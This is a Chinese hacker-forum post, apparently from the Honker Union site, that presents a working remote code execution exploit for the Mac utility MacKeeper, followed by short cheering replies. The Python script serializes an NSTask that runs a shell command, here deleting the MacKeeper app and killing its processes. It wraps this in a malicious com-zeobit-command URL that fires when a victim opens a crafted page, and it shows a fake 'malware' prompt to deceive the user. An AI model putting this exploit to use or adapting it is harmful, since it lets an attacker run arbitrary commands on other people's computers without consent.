MacKeeper任意代码执行EXP

90_

相信Mac用户一定看过Mackeeper的广告——这是一款Mac OS系统优化软件，集杀毒、加密、数据备份、系统清理和软件卸载于一身，可以认为是Mac下的360。
5月7日，Mackeeper被发现存在严重的安全漏洞，在其处理URL的代码中存在远程代码执行漏洞，当用户访问被恶意构造的网页即可触发高危漏洞。

EXP:

[Python] 纯文本查看 复制代码

import sys,base64
from Foundation import *
RUN_CMD = "rm -rf /Applications/MacKeeper.app;pkill -9 -a MacKeeper"
d = NSMutableData.data()
a = NSArchiver.alloc().initForWritingWithMutableData_(d)
a.encodeValueOfObjCType_at_("@",NSString.stringWithString_("NSTask"))
a.encodeValueOfObjCType_at_("@",NSDictionary.dictionaryWithObjectsAndKeys_(NSString.stringWithString_("/bin/sh"),"LAUNCH_PATH",NSArray.arrayWithObjects_(NSString.stringWithString_("-c"),NSString.stringWithString_(RUN_CMD),None),"ARGUMENTS",NSString.stringWithString_("Your computer has malware that needs to be removed."),"PROMPT",None))
print "com-zeobit-command:///i/ZBAppController/performActionWithHelperTask:arguments:/"+base64.b64encode(d)

heiwu98

这么厉害。

中国之利刃

你们城里人。。真会玩。。

H.U.C-麦麦

加油！干倒冰儿和酒仙！

yusiii

还是不错的哦，顶了

cl476874045

学习学习技术，加油！

Micah

支持中国红客联盟(ihonker.org)

H.U.C-麦麦

加油！干倒冰儿和酒仙！

Lucifer

还是不错的哦，顶了

wilist